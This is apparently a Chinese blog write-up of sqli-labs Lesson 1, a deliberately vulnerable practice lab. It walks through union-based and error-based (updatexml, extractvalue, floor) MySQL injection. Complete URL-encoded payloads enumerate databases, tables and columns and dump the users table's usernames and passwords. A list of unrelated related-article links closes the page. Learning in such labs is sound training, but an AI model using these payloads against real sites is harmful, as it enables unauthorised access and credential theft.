0x01字符注入

今天是第一天的学习sqli-labs

Lesson1:字符型注入

首先测试一下 ' 发现报错  然后 ''发现 不报错 这种大概率就是字符注入了

接下来我们进行列查询  查询语句

http://127.0.0.1/sql1/Less-1/?id=1%27%20order%20by%204%23

发现列数是3 这里后面之所以要用%23是因为这里我们的url在ger方式提交的时候要进行一次url转码 所以我们要让转码后的字符为#来闭合语句

查看当前数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,database(),3%23

查看所有数据库名称

http://127.0.0.1/sql1/Less-1/?id=%27%20union%20select%20null,(select%20group_concat(schema_name)%20from%20information_schema.schemata),null%23

接下来数据库名称得到以后我们要进行获取表名  操作语句 这里你会遇见 直接table_schema=你想查的数据库名 这样行不通 得把它转换为16进制在赋值给前面才能成功

对16进制的解释、、、http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23
http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23

看到表名中有一个叫做users的表应该有点东西 接下来我们爆列名

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23

可以看见里面有username password这些关键字 我们就可以爆字段了

http://127.0.0.1/sql1/Less-1/?id=%27union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23

成功爆出字段usernamepassword字段名   0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

0x02手工报错型注入

既然讲到这里 我们就来讲一下报错类型有些什么?

以下学习来自https://blog.csdn.net/weixin_42277564/article/details/80635586这个大佬

1、通过floor报错

and (select  from (select count(*),concat((payload),floor(rand()*))x from information_schema.tables group by x)a)

注:输出字符长度限制为64个字符

payload填sql语句

2、通过updatexml报错

    and updatexml(,payload,)
and updatexml(,concat(0x7e,@@version,0x7e),)注:输出字符有长度限制,最长32位

3、通过ExtractValue报错

    and extractvalue(, payload)
and extractv注:输出字符有长度限制,最长32位alue(, concat(0x7e,@@version,0x7e))

我们简单的了解了报错型手工注入之后我们来进行实战

先要检查报错类型的payload

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=1%23   ///并未报错
http://127.0.0.1/sql1/Less-1/?id=1%27%20and%201=2%23 ///报错了

证明确实存在手工报错型注入,

爆表的payload 这里我们运用的是上面的报错的方法的第二种

127.0.0.1/sql1/Less-/?id=' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))%23

可以看见成功爆出表名 接下来我们进行列名的爆破

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%23

这里发现这些并未显示完全 是因为这个报错最多就报错 32个字符 那我们可以用其他语句让他显示完全

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27and%20column_name%20not%20in%20(%27user_id%27,%27first_name%27,%27last_name%27,%27user%27,%27avatar%27,%27last_login%27,%27failed_login%27))))%23

接下里就是爆值的操作

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users)))%23

同样使用not in显示其他值

http://127.0.0.1/sql1/Less-1/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20username%20not%20in%20(%27Dumb%27,%27Angelina%27))))%23

sqlmap这里我们就不讲了 基本上都会一把梭哈 嘿嘿

切记 少就是多 快就是慢哦~~

sqli-labs(1)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. SQL Labs刷题补坑记录(less1-less30)

    补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it! 第一部分: LESS1: 直接报错,有回显的注入, http://localhost/s ...

  3. 【NLP】条件随机场知识扩展延伸(五)

    条件随机场知识扩展延伸 作者:白宁超 2016年8月3日19:47:55 [摘要]:条件随机场用于序列标注,数据分割等自然语言处理中,表现出很好的效果.在中文分词.中文人名识别和歧义消解等任务中都有应 ...

  4. 精通Web Analytics 2.0 (10) 第八章:竞争情报分析

    精通Web Analytics 2.0 : 用户中心科学与在线统计艺术 第八章:竞争情报分析 在现实世界中,收集竞争情报可能意味着雇人在竞争对手的垃圾桶(实际会发生!)翻找. 在虚拟世界中,堆如山的数 ...

  5. NoSQL数据库笔谈(转)

    NoSQL数据库笔谈 databases , appdir , node , paper颜开 , v0.2 , 2010.2 序 思想篇 CAP 最终一致性 变体 BASE 其他 I/O的五分钟法则 ...

  6. 关于启用 HTTPS 的一些经验分享(二)

    转载: 关于启用 HTTPS 的一些经验分享(二) 几天前,一位朋友问我:都说推荐用 Qualys SSL Labs 这个工具测试 SSL 安全性,为什么有些安全实力很强的大厂家评分也很低?我认为这个 ...

  7. 深入理解Ember-Data特性(上)

    写在前面 最近比较忙,换了新工作还要学习很多全新的技术栈,并给自己找了很多借口来不去坚持写博客.常常具有讽刺意味的是,更多剩下的时间并没有利用而更多的是白白浪费,也许这就是青春吧,挥霍吧,这不是我想要 ...

  8. 人人都是 DBA(VII)B 树和 B+ 树

    B 树(B-Tree)是为磁盘等辅助存取设备设计的一种平衡查找树,它实现了以 O(log n) 时间复杂度执行查找.顺序读取.插入和删除操作.由于 B 树和 B 树的变种在降低磁盘 I/O 操作次数方 ...

  9. 价值1400美元的CEH(道德黑客)认证培训课程长啥样?(3)工具集

    美元的CEH(道德黑客)认证培训课程长啥样?(3)工具集 这是我收到的CEH官方发来的邮件,参加CEH认证培训原价为1424.25刀,可以给我便宜到1282刀.只有一个感觉,心在流血.站在这价值120 ...

  10. css3中变形与动画(三)

    transform可以实现矩阵变换,transition实现属性的平滑过渡,animation意思是动画,动漫,这个属性才和真正意义的一帧一帧的动画相关.本文就介绍animation属性. anima ...

随机推荐

  1. golang 组装返回json数据,提供api接口

    model里 package model type Setting struct { Key string `gorm:"primary_key" json:"key&q ...

  2. pwd命令和修改PS1环境变量在bash行的显示

    一.pwd:显示当前所在的位置 语法 pwd [选项] ... 描述       打印当前工作目录的完整文件名. -L,--logical              从环境使用PWD,即使它包含符号链 ...

  3. linux centos 安装jdk

    1.先查看是否已经安装的有java java -version,如果有需要卸载的直接卸载      rpm -qa | grep java 下面这几个可以删除       java-1.7.0-ope ...

  4. mac 下安装mysql8.0

    有两种安装方式,一种是安装包安装,官网下载安装包,mysql8.0下载.mysql5.7安装: 这里记录brew安装: 1.brew uninstall mysql 卸载原有的: 2.brew ins ...

  5. 098、Swarm 如何实现 Failover (Swarm05)

    参考https://www.cnblogs.com/CloudMan6/p/7898245.html   故障是在所难免的,容器可能崩溃,Docker Host 可能宕机,不过幸运的是,Swarm 已 ...

  6. groovy程序设计

    /********* * groovy中Object类型存在隐式转换 可以不必使用as强转 */ Object munber = 9.343444 def number1 = 2 println mu ...

  7. Nginx请求限制配置

    Nginx请求限制配置 请求限制可以通过两种方式来配置,分别是  连接频率限制和请求频率限制 首先我们要知道什么是http请求和连接,浏览器和服务端首先通过三次握手完成连接,然后发起请求,传输请求参数 ...

  8. 在Chrome中使用IE浏览器!

    学校的毕业论文系统,无法完整显示网页,特别是下部的"提交"按钮看不见. IE11无效. 发现"360极速浏览器 7.5.3.186"能正常显示,百度网盘下载太慢 ...

  9. redis和mongodb面试题(一)

    ● 请你回答一下mongodb和redis的区别 参考回答: 内存管理机制上:Redis 数据全部存在内存,定期写入磁盘,当内存不够时,可以选择指定的 LRU 算法删除数据.MongoDB 数据存在内 ...

  10. 二值图像连通分量的提取(python+opencv)

    算法: 第一步,将图片转换为二值图像A 第二步,创建和A相同大小但是元素都为0的图像B,并复制A到A_copy中 第三步,A中任选一点值为255的像素,设为p1,并使用计算连通分量算法,当算法收敛时, ...